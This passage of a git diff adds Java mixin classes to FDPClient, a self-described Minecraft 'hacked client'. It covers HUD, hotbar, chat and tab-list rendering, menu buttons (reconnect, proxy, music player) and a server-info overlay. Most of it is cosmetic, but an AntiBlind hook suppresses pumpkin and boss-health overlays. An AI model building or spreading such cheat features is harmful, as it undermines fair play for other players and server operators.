EntityPlayer player); + + @Shadow + @Final + protected static ResourceLocation widgetsTexPath; + + @Shadow + @Final + public GuiPlayerTabOverlay overlayPlayerList; + + @Shadow + @Final + protected Minecraft mc; + @Shadow + @Final + protected GuiStreamIndicator streamIndicator; + @Shadow + protected int remainingHighlightTicks; + @Shadow + protected ItemStack highlightingItemStack; + + @Inject(method = "renderScoreboard", at = @At("HEAD"), cancellable = true) + private void renderScoreboard(CallbackInfo callbackInfo) { + if (Objects.requireNonNull(FDPClient.moduleManager.getModule(HUD.class)).getState()) + callbackInfo.cancel(); + } + + /** + * @author liulihaocai + * @reason + */ + @Overwrite + protected void renderTooltip(ScaledResolution sr, float partialTicks) { + final HUD hud = FDPClient.moduleManager.getModule(HUD.class); + final HotbarSettings HotbarSettings = FDPClient.moduleManager.getModule(HotbarSettings.class); + final EntityPlayer entityplayer = (EntityPlayer) mc.getRenderViewEntity(); + + float tabHope = this.mc.gameSettings.keyBindPlayerList.isKeyDown() ? 1f : 0f; + final Animations animations = Animations.INSTANCE; + if(animations.getTabHopePercent() != tabHope) { + animations.setLastTabSync(System.currentTimeMillis()); + animations.setTabHopePercent(tabHope); + } + if (Objects.requireNonNull(hud).getInventoryOnHotbar().get()){ + GlStateManager.pushMatrix(); + int scaledWidth = sr.getScaledWidth(); + int scaledHeight = sr.getScaledHeight(); + GlStateManager.translate((float) scaledWidth / 2 - 90, (float) scaledHeight - 25, 0); + drawOnBorderedRect(0, 1, 180, -58, 1, new Color(0,0,0,255).getRGB(), new Color(0,0,0,130).getRGB()); + RenderHelper.enableGUIStandardItemLighting(); + + int initialSlot = 9; + for (int row = 0; row < 3; row++) { + for (int column = 0; column < 9; column++) { + int slot = initialSlot + row * 9 + column; + int x = 1 + column * 20; + int y = -16 - row * 20; + fDP1$renderItem(slot, x, y, mc.thePlayer); + } + } + + RenderHelper.disableStandardItemLighting(); + GlStateManager.popMatrix(); + } + if(animations.getTabPercent() > 0 && tabHope == 0) { + overlayPlayerList.renderPlayerlist(sr.getScaledWidth(), mc.theWorld.getScoreboard(), mc.theWorld.getScoreboard().getObjectiveInDisplaySlot(0)); + } + + if(Minecraft.getMinecraft().getRenderViewEntity() instanceof EntityPlayer) { + String hotbarType = Objects.requireNonNull(HotbarSettings).getHotbarValue().get(); + Minecraft mc = Minecraft.getMinecraft(); + GlStateManager.resetColor(); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + mc.getTextureManager().bindTexture(widgetsTexPath); + float f = this.zLevel; + this.zLevel = -90.0F; + GlStateManager.resetColor(); + GlStateManager.enableRescaleNormal(); + GlStateManager.enableBlend(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + if (hotbarType.equals("Minecraft")) { + this.drawTexturedModalRect( sr.getScaledWidth() / 2 - 91, sr.getScaledHeight() - 22, 0, 0, 182, 22); + this.drawTexturedModalRect(((sr.getScaledWidth() / 2) - 91 + net.ccbluex.liquidbounce.features.module.modules.client.HotbarSettings.INSTANCE.getHotbarEasePos(entityplayer.inventory.currentItem * 20)) - 1, sr.getScaledHeight() - 22 - 1, 0, 22, 24, 22); + } + this.zLevel = f; + RenderHelper.enableGUIStandardItemLighting(); + if(hotbarType.equals("Minecraft")){ + for (int j = 0; j < 9; ++j) { + this.renderHotbarItem(j, sr.getScaledWidth() / 2 - 90 + j * 20 + 2, sr.getScaledHeight() - 19, partialTicks, entityplayer); + } + } + RenderHelper.disableStandardItemLighting(); + GlStateManager.disableRescaleNormal(); + GlStateManager.disableBlend(); + } + FDPClient.eventManager.callEvent(new Render2DEvent(partialTicks, StaticStorage.scaledResolution)); + } + + @Inject(method = "renderPumpkinOverlay", at = @At("HEAD"), cancellable = true) + private void renderPumpkinOverlay(final CallbackInfo callbackInfo) { + final AntiBlind antiBlind = FDPClient.moduleManager.getModule(AntiBlind.class); + + if(Objects.requireNonNull(antiBlind).getState() && antiBlind.getPumpkinEffectValue().get()) + callbackInfo.cancel(); + } + + @Inject(method = "renderBossHealth", at = @At("HEAD"), cancellable = true) + private void renderBossHealth(CallbackInfo callbackInfo) { + final AntiBlind antiBlind = FDPClient.moduleManager.getModule(AntiBlind.class); + if (Objects.requireNonNull(antiBlind).getState() && antiBlind.getBossHealthValue().get()) + callbackInfo.cancel(); + } + + @Inject(method = "showCrosshair", at = @At("HEAD"), cancellable = true) + private void injectCrosshair(CallbackInfoReturnable<Boolean> cir) { + final Crosshair crossHair = FDPClient.moduleManager.getModule(Crosshair.class); + if (Objects.requireNonNull(crossHair).getState()) + cir.setReturnValue(false); + } + @Unique + private void fDP1$renderItem(int i, int x, int y , EntityPlayer player) { + ItemStack itemstack = player.inventory.mainInventory[i]; + if (itemstack != null) { + mc.getRenderItem().renderItemAndEffectIntoGUI(itemstack, x, y); + mc.getRenderItem().renderItemOverlays(mc.fontRendererObj, itemstack, x-1, y-1); + } + } + } diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiIngameMenu.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiIngameMenu.java new file mode 100644 index 0000000..96fc591 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiIngameMenu.java @@ -0,0 +1,83 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.ServerUtils; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiIngameMenu; +import net.minecraft.client.gui.GuiMultiplayer; +import net.minecraft.client.gui.GuiScreen; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiIngameMenu.class) +public abstract class MixinGuiIngameMenu extends MixinGuiScreen { + + @Inject(method = "initGui", at = @At("RETURN")) + private void initGui(CallbackInfo callbackInfo) { + if(!this.mc.isIntegratedServerRunning()) { + this.buttonList.add(new GuiButton(1337, this.width / 2 - 100, this.height / 4 + 128, "%ui.reconnect%")); + this.buttonList.add(new GuiButton(1068,this.width / 2 - 100,this.height / 4 + 128 + 24,"Switcher")); + } else { + this.buttonList.add(new GuiButton(1068,this.width / 2 - 100,this.height / 4 + 128,"Switcher")); + } + } + + @Inject(method = "drawScreen", at = @At("RETURN")) + private void drawScreen(int p_drawScreen_1_, int p_drawScreen_2_, float p_drawScreen_3_,CallbackInfo callbackInfo) { + + } + + @Inject(method = "drawScreen", at = @At("RETURN")) + private void drawScreen(CallbackInfo callbackInfo) { + Fonts.minecraftFont.drawStringWithShadow( + "§7Username: §a" + mc.getSession().getUsername(), + 6f, + 6f, + 0xffffff); + if (!mc.isIntegratedServerRunning()) { + Fonts.minecraftFont.drawStringWithShadow( + "§7IP: §a" + mc.getCurrentServerData().serverIP, + 6f, + 16f, + 0xffffff); + Fonts.minecraftFont.drawStringWithShadow( + "§7Brand: §a" + mc.getCurrentServerData().gameVersion, + 6f, + 26f, + 0xffffff); + Fonts.minecraftFont.drawStringWithShadow( + "§7Protocol: §a" + mc.getCurrentServerData().version, + 6f, + 36f, + 0xffffff); + Fonts.minecraftFont.drawStringWithShadow( + "§7Ping: §a" + mc.getCurrentServerData().pingToServer, + 6f, + 46f, + 0xffffff); + Fonts.minecraftFont.drawStringWithShadow( + "§7Players: §a" + mc.getCurrentServerData().populationInfo, + 6f, + 56f, + 0xffffff); + } + } + + @Inject(method = "actionPerformed", at = @At("HEAD")) + private void actionPerformed(GuiButton button, CallbackInfo callbackInfo) { + if(button.id == 1337) { + mc.theWorld.sendQuittingDisconnectingPacket(); + ServerUtils.connectToLastServer(); + } + if (button.id == 1068) { + mc.displayGuiScreen(new GuiMultiplayer((GuiScreen) (Object) this)); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiKeyBindingList.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiKeyBindingList.java new file mode 100644 index 0000000..aa7a943 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiKeyBindingList.java @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiKeyBindingList; +import net.minecraft.client.gui.GuiSlot; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; + +@Mixin(GuiKeyBindingList.class) +public abstract class MixinGuiKeyBindingList extends GuiSlot { + + public MixinGuiKeyBindingList(Minecraft mcIn, int width, int height, int topIn, int bottomIn, int slotHeightIn) { + super(mcIn, width, height, topIn, bottomIn, slotHeightIn); + } + + /** + * @author CCBlueX + */ + @Overwrite + protected int getScrollBarX() { + return this.width - 5; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiLanguage.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiLanguage.java new file mode 100644 index 0000000..0c748fd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiLanguage.java @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.GuiLanguage; +import net.minecraft.client.gui.GuiScreen; +import org.spongepowered.asm.mixin.Mixin; + +@Mixin(GuiLanguage.class) +public class MixinGuiLanguage extends GuiScreen { + @Override + public void onGuiClosed() { + mc.ingameGUI.getChatGUI().refreshChat(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiMultiplayer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiMultiplayer.java new file mode 100644 index 0000000..2226682 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiMultiplayer.java @@ -0,0 +1,71 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import cc.paimonmc.viamcp.gui.AsyncVersionSlider; +import cn.hanabi.gui.cloudmusic.ui.MusicPlayerUI; +import net.ccbluex.liquidbounce.ui.client.GuiProxySelect; +import net.ccbluex.liquidbounce.ui.elements.ToolDropdown; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiMultiplayer; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.util.ChatComponentText; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiMultiplayer.class) +public abstract class MixinGuiMultiplayer extends MixinGuiScreen { + + private GuiButton toolButton; + @Inject(method = "initGui", at = @At("RETURN")) + private void initGui(CallbackInfo callbackInfo) { + buttonList.add(toolButton = new GuiButton(997, 5, 8, 98, 20, "Tools")); + // buttonList.add(new GuiButton(998, width - 104, 8, 98, 20, "%ui.serverSpoof%")); + buttonList.add(new GuiButton(999, width - 213, 8, 98, 20, "Proxy")); + buttonList.add(new GuiButton(-10, 109 , 8, 98, 20, "MusicPlayer")); + } + + @Inject(method = "createButtons",at = @At("HEAD")) + public void createButtons(CallbackInfo ci){ + buttonList.add(new AsyncVersionSlider(-1, this.width - 109, 8, 98, 20)); + } + + @Inject(method = "actionPerformed", at = @At("HEAD")) + private void actionPerformed(GuiButton button, CallbackInfo callbackInfo) { + if (button.id == 997) + ToolDropdown.toggleState(); + + switch(button.id) { + case 999: + mc.displayGuiScreen(new GuiProxySelect((GuiScreen) (Object) this)); + break; + } + } + + @Inject(method = "drawScreen", at = @At("TAIL")) + private void injectToolDraw(int mouseX, int mouseY, float partialTicks, CallbackInfo callbackInfo) { + ToolDropdown.handleDraw(toolButton); + } + + @Inject(method = "mouseClicked", at = @At("HEAD"), cancellable = true) + private void injectToolClick(int mouseX, int mouseY, int mouseButton, CallbackInfo callbackInfo) { + if (mouseButton == 0) + if (ToolDropdown.handleClick(mouseX, mouseY, toolButton)) + callbackInfo.cancel(); + } + + @Inject(method="connectToServer", at=@At(value="HEAD")) + public void connectToServer(CallbackInfo callbackInfo) { + Minecraft minecraft = Minecraft.getMinecraft(); + if (minecraft.getNetHandler() != null) { + minecraft.getNetHandler().getNetworkManager().closeChannel(new ChatComponentText("")); + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiNewChat.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiNewChat.java new file mode 100644 index 0000000..2234247 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiNewChat.java @@ -0,0 +1,301 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import com.mojang.realmsclient.gui.ChatFormatting; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.HUD; +import net.ccbluex.liquidbounce.features.module.modules.client.ChatControl; +import net.ccbluex.liquidbounce.font.CFontRenderer; +import net.ccbluex.liquidbounce.font.FontLoaders; +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.ccbluex.liquidbounce.utils.render.EaseUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ChatLine; +import net.minecraft.client.gui.GuiNewChat; +import net.minecraft.client.gui.GuiUtilRenderComponents; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.util.ChatComponentText; +import net.minecraft.util.IChatComponent; +import net.minecraft.util.MathHelper; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Constant; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.ModifyConstant; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.awt.*; +import java.util.Iterator; +import java.util.List; + +@Mixin(GuiNewChat.class) +public abstract class MixinGuiNewChat { + + @Shadow + @Final + private Minecraft mc; + + @Shadow + public abstract int getLineCount(); + + @Shadow + @Final + private List<ChatLine> drawnChatLines; + + @Shadow + public abstract boolean getChatOpen(); + + @Shadow + public abstract float getChatScale(); + + @Shadow + public abstract int getChatWidth(); + + @Shadow + private int scrollPos; + + @Shadow + private boolean isScrolled; + + @Shadow + public abstract void printChatMessageWithOptionalDeletion(IChatComponent chatComponent, int chatLineId); + + private String lastMessage; + private int sameMessageAmount; + private int line; + + private final HUD hud = FDPClient.moduleManager.getModule(HUD.class); + + private final ChatControl chatEnhance = FDPClient.moduleManager.getModule(ChatControl.class); + + /** + * @author Liuli + * @reason ChatCombine + */ + @Overwrite + public void printChatMessage(IChatComponent chatComponent) { + if(!chatEnhance.getState() || !chatEnhance.getChatCombineValue().get()) { + printChatMessageWithOptionalDeletion(chatComponent, 0); + } else if(chatEnhance.getChatCombineValue().get()) { + + String text = fixString(chatComponent.getFormattedText()); + + if (text.equals(this.lastMessage)) { + (Minecraft.getMinecraft()).ingameGUI.getChatGUI().deleteChatLine(this.line); + this.sameMessageAmount++; + chatComponent.appendText(ChatFormatting.WHITE + " [" + "x" + this.sameMessageAmount + "]"); + } else { + this.sameMessageAmount = 1; + } + + this.lastMessage = text; + this.line++; + if (this.line > 256) + this.line = 0; + + printChatMessageWithOptionalDeletion(chatComponent, this.line); + } + } + + @ModifyConstant(method = "setChatLine", constant = @Constant(intValue = 100)) + private int fixMsgLimit(int constant) { + if(chatEnhance.getState() && chatEnhance.getChatClearValue().get()) { + return 114514; + } else { + return 100; + } + } + + private String fixString(String str){ + str=str.replaceAll("\uF8FF","");//remove air chars + + StringBuilder sb=new StringBuilder(); + for(char c:str.toCharArray()){ + if((int) c > (33 + 65248) && (int) c < (128 + 65248)){ + sb.append(Character.toChars((int) c - 65248)); + }else{ + sb.append(c); + } + } + + return sb.toString(); + } + + + /** + * @author Liuli + * @reason Better chat + */ + @Overwrite + public void drawChat(int updateCounter) { + boolean canFont = chatEnhance.getState() && chatEnhance.getFontChatValue().get(); + + if (this.mc.gameSettings.chatVisibility != EntityPlayer.EnumChatVisibility.HIDDEN) { + + int minH = 1000; + int maxH = -1000; + + int i = this.getLineCount(); + boolean flag = false; + int j = 0; + int k = this.drawnChatLines.size(); + float f = this.mc.gameSettings.chatOpacity * 0.9F + 0.1F; + if (k > 0) { + if (this.getChatOpen()) { + flag = true; + } + + float f1 = this.getChatScale(); + int l = MathHelper.ceiling_float_int((float)this.getChatWidth() / f1); + GlStateManager.pushMatrix(); + GlStateManager.translate(2.0F, 20.0F, 0.0F); + GlStateManager.scale(f1, f1, 1.0F); + + int i1; + int j1; + int l1; + for(i1 = 0; i1 + this.scrollPos < this.drawnChatLines.size() && i1 < i; ++i1) { + ChatLine chatline = this.drawnChatLines.get(i1 + this.scrollPos); + if (chatline != null) { + j1 = updateCounter - chatline.getUpdatedCounter(); + if (j1 < 200 || flag) { + double d0 = (double)j1 / 200.0D; + d0 = 1.0D - d0; + d0 *= 10.0D; + d0 = MathHelper.clamp_double(d0, 0.0D, 1.0D); + d0 *= d0; + l1 = (int)(255.0D * d0); + if (flag) { + l1 = 255; + } + + l1 = (int)((float)l1 * f); + ++j; + + if (l1 > 3) { + GL11.glPushMatrix(); + + int i2 = 0; + int j2 = -i1 * 9; + + if(chatEnhance.getChatAnimValue().get()&&!flag) { + if (j1 <= 20) { + GL11.glTranslatef((float) (-(l + 4) * EaseUtils.INSTANCE.easeInQuart(1 - ((j1+mc.timer.renderPartialTicks) / 20.0))), 0F, 0F); + } + if (j1 >= 180) { + GL11.glTranslatef((float) (-(l + 4) * EaseUtils.INSTANCE.easeInQuart(((j1+mc.timer.renderPartialTicks) - 180) / 20.0)), 0F, 0F); + } + } + + if(chatEnhance.getChatRectValue().get()) { + RenderUtils.drawRect(i2 - 2, j2 - 9, i2 + l + 4, j2, l1 / 2 << 24); + if (j2 - 9 < minH) { + minH = j2 - 9; + } + if (j2 > maxH) { + maxH = j2; + } + } + GlStateManager.enableBlend(); + if(chatEnhance.getChatRectValue().get()) { + if (canFont) + CFontRenderer.DisplayFont(chatline.getChatComponent().getFormattedText(), (float) i2, (float) (j2 - 8), new Color(255, 255, 255).getRGB(), FontLoaders.C16); + else { + this.mc.fontRendererObj.drawString(chatline.getChatComponent().getFormattedText(), (float) i2, (float) (j2 - 8), 16777215 + (l1 << 24), false); + } + }else{ + if (canFont) + FontLoaders.C16.DisplayFont2(FontLoaders.C16,chatline.getChatComponent().getFormattedText(), (float) i2, (float) (j2 - 8), new Color(255, 255, 255).getRGB(),true); + else { + this.mc.fontRendererObj.drawStringWithShadow(chatline.getChatComponent().getFormattedText(), (float) i2, (float) (j2 - 8), 16777215 + (l1 << 24)); + } + } + GlStateManager.disableAlpha(); + GlStateManager.disableBlend(); + + GL11.glPopMatrix(); + } + } + } + } + + if (chatEnhance.getBetterChatRectValue().get()) { + if (minH < 900) { + RenderUtils.drawShadow(-2f, minH, MathHelper.ceiling_float_int((float)this.getChatWidth() / f1) + 4, maxH - minH); + } + } + + if (flag) { + i1 = this.mc.fontRendererObj.FONT_HEIGHT; + GlStateManager.translate(-3.0F, 0.0F, 0.0F); + int l2 = k * i1 + k; + j1 = j * i1 + j; + int j3 = this.scrollPos * j1 / k; + int k1 = j1 * j1 / l2; + if (l2 != j1) { + l1 = j3 > 0 ? 170 : 96; + int l3 = this.isScrolled ? 13382451 : 3355562; + RenderUtils.drawRect(0, -j3, 2, -j3 - k1, l3 + (l1 << 24)); + RenderUtils.drawRect(2, -j3, 1, -j3 - k1, 13421772 + (l1 << 24)); + } + } + + GlStateManager.popMatrix(); + } + } + } + + @Inject(method = "getChatComponent", at = @At("HEAD"), cancellable = true) + private void getChatComponent(int p_getChatComponent_1_, int p_getChatComponent_2_, final CallbackInfoReturnable<IChatComponent> callbackInfo) { + if(chatEnhance.getState() && chatEnhance.getFontChatValue().get()) { + if(!this.getChatOpen()) { + callbackInfo.setReturnValue(null); + }else{ + int lvt_4_1_ = StaticStorage.scaledResolution.getScaleFactor(); + float lvt_5_1_ = this.getChatScale(); + int lvt_6_1_ = p_getChatComponent_1_ / lvt_4_1_ - 3; + int lvt_7_1_ = p_getChatComponent_2_ / lvt_4_1_ - 27; + lvt_6_1_ = MathHelper.floor_float((float) lvt_6_1_ / lvt_5_1_); + lvt_7_1_ = MathHelper.floor_float((float) lvt_7_1_ / lvt_5_1_); + if(lvt_6_1_ >= 0 && lvt_7_1_ >= 0) { + int lvt_8_1_ = Math.min(this.getLineCount(), this.drawnChatLines.size()); + if(lvt_6_1_ <= MathHelper.floor_float((float) this.getChatWidth() / this.getChatScale()) && lvt_7_1_ < FontLoaders.C16.getHeight() * lvt_8_1_ + lvt_8_1_) { + int lvt_9_1_ = lvt_7_1_ / FontLoaders.C16.getHeight() + this.scrollPos; + if(lvt_9_1_ >= 0 && lvt_9_1_ < this.drawnChatLines.size()) { + ChatLine lvt_10_1_ = this.drawnChatLines.get(lvt_9_1_); + int lvt_11_1_ = 0; + Iterator lvt_12_1_ = lvt_10_1_.getChatComponent().iterator(); + + while(lvt_12_1_.hasNext()) { + IChatComponent lvt_13_1_ = (IChatComponent) lvt_12_1_.next(); + if(lvt_13_1_ instanceof ChatComponentText) { + lvt_11_1_ += FontLoaders.C16.getStringWidth(GuiUtilRenderComponents.func_178909_a(((ChatComponentText) lvt_13_1_).getChatComponentText_TextValue(), false)); + if(lvt_11_1_ > lvt_6_1_) { + callbackInfo.setReturnValue(lvt_13_1_); + return; + } + } + } + } + + callbackInfo.setReturnValue(null); + }else{ + callbackInfo.setReturnValue(null); + } + }else{ + callbackInfo.setReturnValue(null); + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiOptionSlider.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiOptionSlider.java new file mode 100644 index 0000000..b4e0884 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiOptionSlider.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiOptionSlider; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(GuiOptionSlider.class) +public class MixinGuiOptionSlider { + + @Redirect(method = "mouseDragged", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/gui/GuiOptionSlider;drawTexturedModalRect(IIIIII)V"), require = 2) + public void redirectedDrawRect(GuiOptionSlider guiSlider, int x, int y, int textureX, int textureY, int width, int height) { + Gui.drawRect(x, y - 2, x + width, y + height + 2, 0xFF4751C0); + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiOptions.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiOptions.java new file mode 100644 index 0000000..08ff605 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiOptions.java @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.GuiOptions; +import net.minecraft.client.gui.GuiScreen; +import org.spongepowered.asm.mixin.Mixin; + +@Mixin(GuiOptions.class) +public class MixinGuiOptions extends GuiScreen { + @Override + public void onGuiClosed() { + mc.gameSettings.saveOptions(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiPlayerTabOverlay.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiPlayerTabOverlay.java new file mode 100644 index 0000000..5950f85 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiPlayerTabOverlay.java @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.features.module.modules.client.Animations; +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.ccbluex.liquidbounce.utils.render.EaseUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiPlayerTabOverlay; +import net.minecraft.scoreboard.ScoreObjective; +import net.minecraft.scoreboard.Scoreboard; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiPlayerTabOverlay.class) +public class MixinGuiPlayerTabOverlay { + + @Shadow + @Final + private Minecraft mc; + + @Inject(method = "renderPlayerlist", at = @At("HEAD")) + public void renderPlayerListPre(int p_renderPlayerlist_1_, Scoreboard p_renderPlayerlist_2_, ScoreObjective p_renderPlayerlist_3_, CallbackInfo ci) { + final Animations animations = Animations.INSTANCE; + animations.setFlagRenderTabOverlay(true); + + if (animations.getTabPercent() != animations.getTabHopePercent()) { + float change = (System.currentTimeMillis() - animations.getLastTabSync()) / (float) animations.getTabTimeValue().get(); + if (Math.abs(animations.getTabHopePercent() - animations.getTabPercent()) < change) { + animations.setTabPercent(animations.getTabHopePercent()); + } else if (animations.getTabHopePercent() > animations.getTabPercent()) { + animations.setTabPercent(animations.getTabPercent() + change); + } else { + animations.setTabPercent(animations.getTabPercent() - change); + } + } + + GL11.glPushMatrix(); + float pct = (float) EaseUtils.INSTANCE.apply(EaseUtils.EnumEasingType.valueOf(animations.getTabEaseModeValue().get()), + EaseUtils.EnumEasingOrder.valueOf(animations.getTabEaseOrderModeValue().get()), animations.getTabPercent()); + + switch (animations.getTabModeValue().get().toLowerCase()) { + case "upslide": { + GL11.glTranslatef(0, StaticStorage.scaledResolution.getScaledHeight() * (pct - 1), 0); + break; + } + case "downslide": { + GL11.glTranslatef(0, StaticStorage.scaledResolution.getScaledHeight() * (1 - pct), 0); + break; + } + case "zoom": { + GL11.glScalef(1f, pct, 1f); + } + } + } + + @Inject(method = "renderPlayerlist", at = @At("RETURN")) + public void renderPlayerListPost(int p_renderPlayerlist_1_, Scoreboard p_renderPlayerlist_2_, ScoreObjective p_renderPlayerlist_3_, CallbackInfo ci) { + Animations.INSTANCE.setFlagRenderTabOverlay(false); + GL11.glPopMatrix(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreen.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreen.java new file mode 100644 index 0000000..a4c7538 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiScreen.java @@ -0,0 +1,180 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.HUD; +import net.ccbluex.liquidbounce.ui.client.GuiBackground; +import net.ccbluex.liquidbounce.utils.particles.ParticleUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.*; +import net.minecraft.client.gui.inventory.GuiContainer; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.RenderHelper; +import net.minecraft.event.ClickEvent; +import net.minecraft.event.HoverEvent; +import net.minecraft.util.ChatStyle; +import net.minecraft.util.IChatComponent; +import org.lwjgl.input.Keyboard; +import org.lwjgl.input.Mouse; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.Unique; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.ModifyVariable; +import org.spongepowered.asm.mixin.injection.Redirect; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.util.Collections; +import java.util.List; + +@Mixin(GuiScreen.class) +public abstract class MixinGuiScreen { + + @Shadow + public Minecraft mc; + + @Shadow + protected List<GuiButton> buttonList; + + @Shadow + public int width; + + @Shadow + public int height; + + @Shadow + protected FontRenderer fontRendererObj; + + @Shadow + public abstract void handleComponentHover(IChatComponent component, int x, int y); + + @Shadow + protected abstract void drawHoveringText(List<String> textLines, int x, int y); + + @Shadow + protected abstract void actionPerformed(GuiButton p_actionPerformed_1_); + + @Shadow public abstract void initGui(); + + @Redirect(method = "handleKeyboardInput", at = @At(value = "INVOKE", target = "Lorg/lwjgl/input/Keyboard;getEventKeyState()Z", remap = false)) + private boolean checkCharacter() { + 